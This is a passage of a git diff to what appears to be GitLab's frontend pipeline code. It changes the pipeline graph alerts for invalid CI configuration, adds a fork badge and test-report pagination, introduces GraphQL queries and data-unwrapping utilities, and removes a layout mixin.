+ [INVALID_CI_CONFIG]: __('Your CI configuration file is invalid.'),
+ },
props: {
pipelineData: {
required: true,
@@ -40,18 +48,51 @@ export default {
},
computed: {
isPipelineDataEmpty() {
- return isEmpty(this.pipelineData);
+ return !this.isInvalidCiConfig && isEmpty(this.pipelineData?.stages);
+ },
+ isInvalidCiConfig() {
+ return this.pipelineData?.status === CI_CONFIG_STATUS_INVALID;
+ },
+ showAlert() {
+ return this.hasError || this.hasWarning;
},
hasError() {
return this.failureType;
},
+ hasWarning() {
+ return this.warning;
+ },
hasHighlightedJob() {
return Boolean(this.highlightedJob);
},
+ alert() {
+ if (this.hasError) {
+ return this.failure;
+ }
+
+ return this.warning;
+ },
failure() {
const text = this.$options.errorTexts[this.failureType] || this.$options.errorTexts[DEFAULT];
- return { text, variant: 'danger' };
+ return { text, variant: 'danger', dismissible: true };
+ },
+ warning() {
+ if (this.isPipelineDataEmpty) {
+ return {
+ text: this.$options.warningTexts[EMPTY_PIPELINE_DATA],
+ variant: 'tip',
+ dismissible: false,
+ };
+ } else if (this.isInvalidCiConfig) {
+ return {
+ text: this.$options.warningTexts[INVALID_CI_CONFIG],
+ variant: 'danger',
+ dismissible: false,
+ };
+ }
+
+ return null;
},
viewBox() {
return [0, 0, this.width, this.height];
@@ -80,19 +121,21 @@ export default {
},
},
mounted() {
- if (!this.isPipelineDataEmpty) {
- this.getGraphDimensions();
- this.drawJobLinks();
+ if (!this.isPipelineDataEmpty && !this.isInvalidCiConfig) {
+ // This guarantee that all sub-elements are rendered
+ // https://v3.vuejs.org/api/options-lifecycle-hooks.html#mounted
+ this.$nextTick(() => {
+ this.getGraphDimensions();
+ this.prepareLinkData();
+ });
}
},
methods: {
- drawJobLinks() {
- const { stages, jobs } = this.pipelineData;
- const unwrappedGroups = this.unwrapPipelineData(stages);
-
+ prepareLinkData() {
try {
- const parsedData = parseData(unwrappedGroups);
- this.links = generateLinksData(parsedData, jobs, this.$options.CONTAINER_ID);
+ const arrayOfJobs = unwrapArrayOfJobs(this.pipelineData);
+ const parsedData = parseData(arrayOfJobs);
+ this.links = generateLinksData(parsedData, this.$options.CONTAINER_ID);
} catch {
this.reportFailure(DRAW_FAILURE);
}
@@ -119,7 +162,8 @@ export default {
// The first time we hover, we create the object where
// we store all the data to properly highlight the needs.
if (!this.needsObject) {
- this.needsObject = generateJobNeedsDict(this.pipelineData) ?? {};
+ const jobs = createJobsHash(this.pipelineData);
+ this.needsObject = generateJobNeedsDict(jobs) ?? {};
}
this.highlightedJob = uniqueJobId;
@@ -127,18 +171,9 @@ export default {
removeHighlightNeeds() {
this.highlightedJob = null;
},
- unwrapPipelineData(stages) {
- return stages
- .map(({ name, groups }) => {
- return groups.map(group => {
- return { category: name, ...group };
- });
- })
- .flat(2);
- },
getGraphDimensions() {
- this.width = `${this.$refs[this.$options.CONTAINER_REF].scrollWidth}px`;
- this.height = `${this.$refs[this.$options.CONTAINER_REF].scrollHeight}px`;
+ this.width = `${this.$refs[this.$options.CONTAINER_REF].scrollWidth}`;
+ this.height = `${this.$refs[this.$options.CONTAINER_REF].scrollHeight}`;
},
reportFailure(errorType) {
this.failureType = errorType;
@@ -163,21 +198,20 @@ export default {
</script>
<template>
<div>
- <gl-alert v-if="hasError" :variant="failure.variant" @dismiss="resetFailure">
- {{ failure.text }}
- </gl-alert>
- <gl-alert v-if="isPipelineDataEmpty" variant="tip" :dismissible="false">
- {{
- __(
- 'The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax.',
- )
- }}
+ <gl-alert
+ v-if="showAlert"
+ :variant="alert.variant"
+ :dismissible="alert.dismissible"
+ @dismiss="alert.dismissible ? resetFailure : null"
+ >
+ {{ alert.text }}
</gl-alert>
<div
- v-else
+ v-if="!hasWarning"
:id="$options.CONTAINER_ID"
:ref="$options.CONTAINER_REF"
class="gl-display-flex gl-bg-gray-50 gl-px-4 gl-overflow-auto gl-relative gl-py-7"
+ data-testid="graph-container"
>
<svg :viewBox="viewBox" :width="width" :height="height" class="gl-absolute">
<template>
@@ -210,10 +244,9 @@ export default {
<job-pill
v-for="group in stage.groups"
:key="group.name"
- :job-id="group.id"
:job-name="group.name"
- :is-highlighted="hasHighlightedJob && isJobHighlighted(group.id)"
- :is-faded-out="hasHighlightedJob && !isJobHighlighted(group.id)"
+ :is-highlighted="hasHighlightedJob && isJobHighlighted(group.name)"
+ :is-faded-out="hasHighlightedJob && !isJobHighlighted(group.name)"
@on-mouse-enter="highlightNeeds"
@on-mouse-leave="removeHighlightNeeds"
/>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
index c5f30c8aef0..78b69073cd3 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
@@ -29,11 +29,13 @@ export default {
</div>
<div class="col-12">
- <div class="text-content">
+ <div class="gl-text-content">
<template v-if="canSetCi">
- <h4 class="text-center">{{ s__('Pipelines|Build with confidence') }}</h4>
+ <h4 class="gl-text-center" data-testid="header-text">
+ {{ s__('Pipelines|Build with confidence') }}
+ </h4>
- <p>
+ <p data-testid="info-text">
{{
s__(`Pipelines|Continuous Integration can help
catch bugs by running your tests automatically,
@@ -42,12 +44,11 @@ export default {
}}
</p>
- <div class="text-center">
+ <div class="gl-text-center">
<gl-button
:href="helpPagePath"
variant="info"
category="primary"
- class="js-get-started-pipelines"
data-testid="get-started-pipelines"
>
{{ s__('Pipelines|Get started with Pipelines') }}
@@ -55,7 +56,7 @@ export default {
</div>
</template>
- <p v-else class="text-center">
+ <p v-else class="gl-text-center">
{{ s__('Pipelines|This project is not currently set up to run pipelines.') }}
</p>
</div>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
index 63262cc79fd..bde0dd53aac 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
@@ -25,6 +25,11 @@ export default {
required: true,
},
},
+ inject: {
+ targetProjectFullPath: {
+ default: '',
+ },
+ },
computed: {
user() {
return this.pipeline.user;
@@ -32,6 +37,12 @@ export default {
isScheduled() {
return this.pipeline.source === SCHEDULE_ORIGIN;
},
+ isInFork() {
+ return Boolean(
+ this.targetProjectFullPath &&
+ this.pipeline?.project?.full_path !== `/${this.targetProjectFullPath}`,
+ );
+ },
},
};
</script>
@@ -52,9 +63,8 @@ export default {
:title="__('This pipeline was triggered by a schedule.')"
class="badge badge-info"
data-testid="pipeline-url-scheduled"
+ >{{ __('Scheduled') }}</span
>
- {{ __('Scheduled') }}
- </span>
</gl-link>
<span
v-if="pipeline.flags.latest"
@@ -62,27 +72,24 @@ export default {
:title="__('Latest pipeline for the most recent commit on this branch')"
class="js-pipeline-url-latest badge badge-success"
data-testid="pipeline-url-latest"
+ >{{ __('latest') }}</span
>
- {{ __('latest') }}
- </span>
<span
v-if="pipeline.flags.yaml_errors"
v-gl-tooltip
:title="pipeline.yaml_errors"
class="js-pipeline-url-yaml badge badge-danger"
data-testid="pipeline-url-yaml"
+ >{{ __('yaml invalid') }}</span
>
- {{ __('yaml invalid') }}
- </span>
<span
v-if="pipeline.flags.failure_reason"
v-gl-tooltip
:title="pipeline.failure_reason"
class="js-pipeline-url-failure badge badge-danger"
data-testid="pipeline-url-failure"
+ >{{ __('error') }}</span
>
- {{ __('error') }}
- </span>
<gl-link
v-if="pipeline.flags.auto_devops"
:id="`pipeline-url-autodevops-${pipeline.id}`"
@@ -112,17 +119,16 @@ export default {
</gl-sprintf>
</div>
</template>
- <gl-link :href="autoDevopsHelpPath" target="_blank" rel="noopener noreferrer nofollow">
- {{ __('Learn more about Auto DevOps') }}
- </gl-link>
+ <gl-link :href="autoDevopsHelpPath" target="_blank" rel="noopener noreferrer nofollow">{{
+ __('Learn more about Auto DevOps')
+ }}</gl-link>
</gl-popover>
<span
v-if="pipeline.flags.stuck"
class="js-pipeline-url-stuck badge badge-warning"
data-testid="pipeline-url-stuck"
+ >{{ __('stuck') }}</span
>
- {{ __('stuck') }}
- </span>
<span
v-if="pipeline.flags.detached_merge_request_pipeline"
v-gl-tooltip
@@ -133,9 +139,16 @@ export default {
"
class="js-pipeline-url-detached badge badge-info"
data-testid="pipeline-url-detached"
+ >{{ __('detached') }}</span
+ >
+ <span
+ v-if="isInFork"
+ v-gl-tooltip
+ :title="__('Pipeline ran in fork of project')"
+ class="badge badge-info"
+ data-testid="pipeline-url-fork"
+ >{{ __('fork') }}</span
>
- {{ __('detached') }}
- </span>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
index 9ee427d01fd..ff27226b408 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
@@ -62,7 +62,7 @@ export default {
type: String,
required: true,
},
- autoDevopsPath: {
+ autoDevopsHelpPath: {
type: String,
required: true,
},
@@ -342,7 +342,7 @@ export default {
:pipelines="state.pipelines"
:pipeline-schedule-url="pipelineScheduleUrl"
:update-graph-dropdown="updateGraphDropdown"
- :auto-devops-help-path="autoDevopsPath"
+ :auto-devops-help-path="autoDevopsHelpPath"
:view-type="viewType"
/>
</div>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue
index e52afe08336..1ea71610897 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue
@@ -32,7 +32,7 @@ export default {
if (action.scheduled_at) {
const confirmationMessage = sprintf(
s__(
- "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes.",
+ 'DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes.',
),
{ jobName: action.name },
);
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
index 1d117cfe34a..5548a1021f5 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
@@ -53,12 +53,12 @@ export default {
<div class="table-mobile-header" role="rowheader">{{ s__('Pipeline|Duration') }}</div>
<div class="table-mobile-content">
<p v-if="hasDuration" class="duration">
- <gl-icon name="timer" class="gl-vertical-align-baseline!" aria-hidden="true" />
+ <gl-icon name="timer" class="gl-vertical-align-baseline!" />
{{ durationFormatted }}
</p>
<p v-if="hasFinishedTime" class="finished-at d-none d-md-block">
- <gl-icon name="calendar" class="gl-vertical-align-baseline!" aria-hidden="true" />
+ <gl-icon name="calendar" class="gl-vertical-align-baseline!" />
<time
v-gl-tooltip
diff --git a/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue b/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue
index 7afbb59cbd6..4b4fb6082c6 100644
--- a/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue
+++ b/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue
@@ -1,6 +1,13 @@
<script>
-import { mapGetters } from 'vuex';
-import { GlModalDirective, GlTooltipDirective, GlFriendlyWrap, GlIcon, GlButton } from '@gitlab/ui';
+import { mapState, mapGetters, mapActions } from 'vuex';
+import {
+ GlModalDirective,
+ GlTooltipDirective,
+ GlFriendlyWrap,
+ GlIcon,
+ GlButton,
+ GlPagination,
+} from '@gitlab/ui';
import { __ } from '~/locale';
import TestCaseDetails from './test_case_details.vue';
@@ -10,6 +17,7 @@ export default {
GlIcon,
GlFriendlyWrap,
GlButton,
+ GlPagination,
TestCaseDetails,
},
directives: {
@@ -24,11 +32,15 @@ export default {
},
},
computed: {
- ...mapGetters(['getSuiteTests']),
+ ...mapState(['pageInfo']),
+ ...mapGetters(['getSuiteTests', 'getSuiteTestCount']),
hasSuites() {
return this.getSuiteTests.length > 0;
},
},
+ methods: {
+ ...mapActions(['setPage']),
+ },
wrapSymbols: ['::', '#', '.', '_', '-', '/', '\\'],
};
</script>
@@ -129,6 +141,14 @@ export default {
</div>
</div>
</div>
+
+ <gl-pagination
+ v-model="pageInfo.page"
+ class="gl-display-flex gl-justify-content-center"
+ :per-page="pageInfo.perPage"
+ :total-items="getSuiteTestCount"
+ @input="setPage"
+ />
</div>
<div v-else>
diff --git a/app/assets/javascripts/pipelines/components/unwrapping_utils.js b/app/assets/javascripts/pipelines/components/unwrapping_utils.js
new file mode 100644
index 00000000000..aa33f622ce6
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/unwrapping_utils.js
@@ -0,0 +1,53 @@
+/**
+ * This function takes the stages and add the stage name
+ * at the group level as `category` to have an easier
+ * implementation while constructions nodes with D3
+ * @param {Array} stages
+ * @returns {Array} - Array of stages with stage name at the group level as `category`
+ */
+export const unwrapArrayOfJobs = (stages = []) => {
+ return stages
+ .map(({ name, groups }) => {
+ return groups.map(group => {
+ return { category: name, ...group };
+ });
+ })
+ .flat(2);
+};
+
+const unwrapGroups = stages => {
+ return stages.map(stage => {
+ const {
+ groups: { nodes: groups },
+ } = stage;
+ return { ...stage, groups };
+ });
+};
+
+const unwrapNodesWithName = (jobArray, prop, field = 'name') => {
+ return jobArray.map(job => {
+ return { ...job, [prop]: job[prop].nodes.map(item => item[field]) };
+ });
+};
+
+const unwrapJobWithNeeds = denodedJobArray => {
+ return unwrapNodesWithName(denodedJobArray, 'needs');
+};
+
+const unwrapStagesWithNeeds = denodedStages => {
+ const unwrappedNestedGroups = unwrapGroups(denodedStages);
+
+ const nodes = unwrappedNestedGroups.map(node => {
+ const { groups } = node;
+ const groupsWithJobs = groups.map(group => {
+ const jobs = unwrapJobWithNeeds(group.jobs.nodes);
+ return { ...group, jobs };
+ });
+
+ return { ...node, groups: groupsWithJobs };
+ });
+
+ return nodes;
+};
+
+export { unwrapGroups, unwrapNodesWithName, unwrapJobWithNeeds, unwrapStagesWithNeeds };
diff --git a/app/assets/javascripts/pipelines/constants.js b/app/assets/javascripts/pipelines/constants.js
index 607e7a66f44..757d285ef19 100644
--- a/app/assets/javascripts/pipelines/constants.js
+++ b/app/assets/javascripts/pipelines/constants.js
@@ -28,6 +28,8 @@ export const RAW_TEXT_WARNING = s__(
export const DEFAULT = 'default';
export const DELETE_FAILURE = 'delete_pipeline_failure';
export const DRAW_FAILURE = 'draw_failure';
+export const EMPTY_PIPELINE_DATA = 'empty_data';
+export const INVALID_CI_CONFIG = 'invalid_ci_config';
export const LOAD_FAILURE = 'load_failure';
export const PARSE_FAILURE = 'parse_failure';
export const POST_FAILURE = 'post_failure';
diff --git a/app/assets/javascripts/pipelines/graphql/fragments/linked_pipelines.fragment.graphql b/app/assets/javascripts/pipelines/graphql/fragments/linked_pipelines.fragment.graphql
new file mode 100644
index 00000000000..3bf6d8dc9d8
--- /dev/null
+++ b/app/assets/javascripts/pipelines/graphql/fragments/linked_pipelines.fragment.graphql
@@ -0,0 +1,17 @@
+fragment LinkedPipelineData on Pipeline {
+ id
+ iid
+ path
+ status: detailedStatus {
+ group
+ label
+ icon
+ }
+ sourceJob {
+ name
+ }
+ project {
+ name
+ fullPath
+ }
+}
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_details.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_details.query.graphql
new file mode 100644
index 00000000000..25aede49631
--- /dev/null
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_details.query.graphql
@@ -0,0 +1,65 @@
+#import "../fragments/linked_pipelines.fragment.graphql"
+
+query getPipelineDetails($projectPath: ID!, $iid: ID!) {
+ project(fullPath: $projectPath) {
+ pipeline(iid: $iid) {
+ id
+ iid
+ downstream {
+ nodes {
+ ...LinkedPipelineData
+ }
+ }
+ upstream {
+ ...LinkedPipelineData
+ }
+ stages {
+ nodes {
+ name
+ status: detailedStatus {
+ action {
+ icon
+ path
+ title
+ }
+ }
+ groups {
+ nodes {
+ status: detailedStatus {
+ label
+ group
+ icon
+ }
+ name
+ size
+ jobs {
+ nodes {
+ name
+ scheduledAt
+ needs {
+ nodes {
+ name
+ }
+ }
+ status: detailedStatus {
+ icon
+ tooltip
+ hasDetails
+ detailsPath
+ group
+ action {
+ buttonTitle
+ icon
+ path
+ title
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
index 06083daeca0..1b3f80b1f18 100644
--- a/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
+++ b/app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql
@@ -2,6 +2,7 @@ query getPipelineHeaderData($fullPath: ID!, $iid: ID!) {
project(fullPath: $fullPath) {
pipeline(iid: $iid) {
id
+ iid
status
retryable
cancelable
diff --git a/app/assets/javascripts/pipelines/graphql/queries/pipeline_stages_connection.fragment.graphql b/app/assets/javascripts/pipelines/graphql/queries/pipeline_stages_connection.fragment.graphql
new file mode 100644
index 00000000000..1da4fa0a72b
--- /dev/null
+++ b/app/assets/javascripts/pipelines/graphql/queries/pipeline_stages_connection.fragment.graphql
@@ -0,0 +1,20 @@
+fragment PipelineStagesConnection on CiConfigStageConnection {
+ nodes {
+ name
+ groups {
+ nodes {
+ name
+ jobs {
+ nodes {
+ name
+ needs {
+ nodes {
+ name
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipelines/mixins/graph_width_mixin.js b/app/assets/javascripts/pipelines/mixins/graph_width_mixin.js
deleted file mode 100644
index 2dbaa5a5c9a..00000000000
--- a/app/assets/javascripts/pipelines/mixins/graph_width_mixin.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import { debounceByAnimationFrame } from '~/lib/utils/common_utils';
-import { LAYOUT_CHANGE_DELAY } from '~/pipelines/constants';
-
-export default {
- debouncedResize: null,
- sidebarMutationObserver: null,
- data() {
- return {
- graphLeftPadding: 0,
- graphRightPadding: 0,
- };
- },
- beforeDestroy() {
- window.removeEventListener('resize', this.$options.debouncedResize);
-
- if (this.$options.sidebarMutationObserver) {
- this.$options.sidebarMutationObserver.disconnect();
- }
- },
- created() {
- this.$options.debouncedResize = debounceByAnimationFrame(this.setGraphPadding);
- window.addEventListener('resize', this.$options.debouncedResize);
- },
- mounted() {
- this.setGraphPadding();
-
- this.$options.sidebarMutationObserver = new MutationObserver(this.handleLayoutChange);
- this.$options.sidebarMutationObserver.observe(document.querySelector('.layout-page'), {
- attributes: true,
- childList: false,
- subtree: false,
- });
- },
- methods: {
- setGraphPadding() {
- // only add padding to main graph (not inline upstream/downstream graphs)
- if (this.type && this.type !== 'main') return;
-
- const container = document.querySelector('.js-pipeline-container');
- if (!container) return;
-
- this.graphLeftPadding = container.offsetLeft;
- this.graphRightPadding = window.innerWidth - container.offsetLeft - container.offsetWidth;
- },
- handleLayoutChange() {
- // wait until animations finish, then recalculate padding
- window.setTimeout(this.setGraphPadding, LAYOUT_CHANGE_DELAY);
- },
- },
-};
diff --git a/app/assets/javascripts/pipelines/pipeline_details_bundle.js b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
index 29dec2309a7..27f71d2b878 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_bundle.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
@@ -3,7 +3,7 @@ import { deprecatedCreateFlash as Flash } from '~/flash';
import Translate from '~/vue_shared/translate';
import { __ } from '~/locale';
import { setUrlFragment, redirectTo } from '~/lib/utils/url_utility';
-import pipelineGraph from './components/graph/graph_component.vue';
+import PipelineGraphLegacy from './components/graph/graph_component_legacy.vue';
import createDagApp from './pipeline_details_dag';
import GraphBundleMixin from './mixins/graph_pipeline_bundle_mixin';
import legacyPipelineHeader from './components/legacy_header_component.vue';
@@ -28,7 +28,7 @@ const createLegacyPipelinesDetailApp = mediator => {
new Vue({
el: SELECTORS.PIPELINE_GRAPH,
components: {
- pipelineGraph,
+ PipelineGraphLegacy,
},
mixins: [GraphBundleMixin],
data() {
@@ -37,7 +37,7 @@ const createLegacyPipelinesDetailApp = mediator => {
};
},
render(createElement) {
- return createElement('pipeline-graph', {
+ return createElement('pipeline-graph-legacy', {
props: {
isLoading: this.mediator.state.isLoading,
pipeline: this.mediator.store.state.pipeline,
@@ -149,7 +149,9 @@ export default async function() {
const { createPipelinesDetailApp } = await import(
/* webpackChunkName: 'createPipelinesDetailApp' */ './pipeline_details_graph'
);
- createPipelinesDetailApp();
+
+ const { pipelineProjectPath, pipelineIid } = dataset;
+ createPipelinesDetailApp(SELECTORS.PIPELINE_DETAILS, pipelineProjectPath, pipelineIid);
} catch {
Flash(__('An error occurred while loading the pipeline.'));
}
diff --git a/app/assets/javascripts/pipelines/pipeline_details_graph.js b/app/assets/javascripts/pipelines/pipeline_details_graph.js
index 880855cf21d..1b296c305cb 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_graph.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_graph.js
@@ -1,7 +1,37 @@
-const createPipelinesDetailApp = () => {
- // Placeholder. See: https://gitlab.com/gitlab-org/gitlab/-/issues/223262
- // eslint-disable-next-line no-useless-return
- return;
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import PipelineGraphWrapper from './components/graph/graph_component_wrapper.vue';
+import { GRAPHQL } from './components/graph/constants';
+
+Vue.use(VueApollo);
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(
+ {},
+ {
+ batchMax: 2,
+ },
+ ),
+});
+
+const createPipelinesDetailApp = (selector, pipelineProjectPath, pipelineIid) => {
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: selector,
+ components: {
+ PipelineGraphWrapper,
+ },
+ apolloProvider,
+ provide: {
+ pipelineProjectPath,
+ pipelineIid,
+ dataMethod: GRAPHQL,
+ },
+ render(createElement) {
+ return createElement(PipelineGraphWrapper);
+ },
+ });
};
export { createPipelinesDetailApp };
diff --git a/app/assets/javascripts/pipelines/pipelines_index.js b/app/assets/javascripts/pipelines/pipelines_index.js
new file mode 100644
index 00000000000..4575a99f60f
--- /dev/null
+++ b/app/assets/javascripts/pipelines/pipelines_index.js
@@ -0,0 +1,75 @@
+import Vue from 'vue';
+import { GlToast } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { doesHashExistInUrl } from '~/lib/utils/url_utility';
+import {
+ parseBoolean,
+ historyReplaceState,
+ buildUrlWithCurrentLocation,
+} from '~/lib/utils/common_utils';
+import Translate from '~/vue_shared/translate';
+import Pipelines from './components/pipelines_list/pipelines.vue';
+import PipelinesStore from './stores/pipelines_store';
+
+Vue.use(Translate);
+Vue.use(GlToast);
+
+export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
+ const el = document.querySelector(selector);
+ if (!el) {
+ return null;
+ }
+
+ const {
+ endpoint,
+ pipelineScheduleUrl,
+ helpPagePath,
+ emptyStateSvgPath,
+ errorStateSvgPath,
+ noPipelinesSvgPath,
+ autoDevopsHelpPath,
+ newPipelinePath,
+ canCreatePipeline,
+ hasGitlabCi,
+ ciLintPath,
+ resetCachePath,
+ projectId,
+ params,
+ } = el.dataset;
+
+ return new Vue({
+ el,
+ data() {
+ return {
+ store: new PipelinesStore(),
+ };
+ },
+ created() {
+ if (doesHashExistInUrl('delete_success')) {
+ this.$toast.show(__('The pipeline has been deleted'));
+ historyReplaceState(buildUrlWithCurrentLocation());
+ }
+ },
+ render(createElement) {
+ return createElement(Pipelines, {
+ props: {
+ store: this.store,
+ endpoint,
+ pipelineScheduleUrl,
+ helpPagePath,
+ emptyStateSvgPath,
+ errorStateSvgPath,
+ noPipelinesSvgPath,
+ autoDevopsHelpPath,
+ newPipelinePath,
+ canCreatePipeline: parseBoolean(canCreatePipeline),
+ hasGitlabCi: parseBoolean(hasGitlabCi),
+ ciLintPath,
+ resetCachePath,
+ projectId,
+ params: JSON.parse(params),
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/actions.js b/app/assets/javascripts/pipelines/stores/test_reports/actions.js
index f10bbeec77c..3c664457756 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/actions.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/actions.js
@@ -47,6 +47,7 @@ export const fetchTestSuite = ({ state, commit, dispatch }, index) => {
});
};
+export const setPage = ({ commit }, page) => commit(types.SET_PAGE, page);
export const setSelectedSuiteIndex = ({ commit }, data) =>
commit(types.SET_SELECTED_SUITE_INDEX, data);
export const removeSelectedSuiteIndex = ({ commit }) =>
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/getters.js b/app/assets/javascripts/pipelines/stores/test_reports/getters.js
index c123014756d..56f769c00fa 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/getters.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/getters.js
@@ -14,5 +14,10 @@ export const getSelectedSuite = state =>
export const getSuiteTests = state => {
const { test_cases: testCases = [] } = getSelectedSuite(state);
- return testCases.map(addIconStatus);
+ const { page, perPage } = state.pageInfo;
+ const start = (page - 1) * perPage;
+
+ return testCases.map(addIconStatus).slice(start, start + perPage);
};
+
+export const getSuiteTestCount = state => getSelectedSuite(state)?.test_cases?.length || 0;
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/mutation_types.js b/app/assets/javascripts/pipelines/stores/test_reports/mutation_types.js
index 52345888cb0..803f6bf60b1 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/mutation_types.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/mutation_types.js
@@ -1,3 +1,4 @@
+export const SET_PAGE = 'SET_PAGE';
export const SET_SELECTED_SUITE_INDEX = 'SET_SELECTED_SUITE_INDEX';
export const SET_SUMMARY = 'SET_SUMMARY';
export const SET_SUITE = 'SET_SUITE';
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/mutations.js b/app/assets/javascripts/pipelines/stores/test_reports/mutations.js
index 3652a12a6ba..cf0bf8483dd 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/mutations.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/mutations.js
@@ -1,6 +1,14 @@
import * as types from './mutation_types';
export default {
+ [types.SET_PAGE](state, page) {
+ Object.assign(state, {
+ pageInfo: Object.assign(state.pageInfo, {
+ page,
+ }),
+ });
+ },
+
[types.SET_SUITE](state, { suite = {}, index = null }) {
state.testReports.test_suites[index] = { ...suite, hasFullSuite: true };
},
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/state.js b/app/assets/javascripts/pipelines/stores/test_reports/state.js
index af79521d68a..7f5da549a9d 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/state.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/state.js
@@ -4,4 +4,8 @@ export default ({ summaryEndpoint = '', suiteEndpoint = '' }) => ({
testReports: {},
selectedSuiteIndex: null,
isLoading: false,
+ pageInfo: {
+ page: 1,
+ perPage: 20,
+ },
});
diff --git a/app/assets/javascripts/pipelines/utils.js b/app/assets/javascripts/pipelines/utils.js
index 7d1a1762e0d..28d6c0edb0f 100644
--- a/app/assets/javascripts/pipelines/utils.js
+++ b/app/assets/javascripts/pipelines/utils.js
@@ -5,66 +5,42 @@ export const validateParams = params => {
return pickBy(params, (val, key) => SUPPORTED_FILTER_PARAMETERS.includes(key) && val);
};
-export const createUniqueJobId = (stageName, jobName) => `${stageName}-${jobName}`;
+export const createUniqueLinkId = (stageName, jobName) => `${stageName}-${jobName}`;
/**
- * This function takes a json payload that comes from a yml
- * file converted to json through `jsyaml` library. Because we
- * naively convert the entire yaml to json, some keys (like `includes`)
- * are irrelevant to rendering the graph and must be removed. We also
- * restructure the data to have the structure from an API response for the
- * pipeline data.
- * @param {Object} jsonData
- * @returns {Array} - Array of stages containing all jobs
+ * This function takes the stages array and transform it
+ * into a hash where each key is a job name and the job data
+ * is associated to that key.
+ * @param {Array} stages
+ * @returns {Object} - Hash of jobs
*/
-export const preparePipelineGraphData = jsonData => {
- const jsonKeys = Object.keys(jsonData);
- const jobNames = jsonKeys.filter(job => jsonData[job]?.stage);
- // Creates an object with only the valid jobs
- const jobs = jsonKeys.reduce((acc, val) => {
- if (jobNames.includes(val)) {
- return {
- ...acc,
- [val]: { ...jsonData[val], id: createUniqueJobId(jsonData[val].stage, val) },
- };
- }
- return { ...acc };
- }, {});
-
- // We merge both the stages from the "stages" key in the yaml and the stage associated
- // with each job to show the user both the stages they explicitly defined, and those
- // that they added under jobs. We also remove duplicates.
- const jobStages = jobNames.map(job => jsonData[job].stage);
- const userDefinedStages = jsonData?.stages ?? [];
-
- // The order is important here. We always show the stages in order they were
- // defined in the `stages` key first, and then stages that are under the jobs.
- const stages = Array.from(new Set([...userDefinedStages, ...jobStages]));
-
- const arrayOfJobsByStage = stages.map(val => {
- return jobNames.filter(job => {
- return jsonData[job].stage === val;
- });
- });
+export const createJobsHash = (stages = []) => {
+ const jobsHash = {};
- const pipelineData = stages.map((stage, index) => {
- const stageJobs = arrayOfJobsByStage[index];
- return {
- name: stage,
- groups: stageJobs.map(job => {
- return {
- name: job,
- jobs: [{ ...jsonData[job] }],
- id: createUniqueJobId(stage, job),
- };
- }),
- };
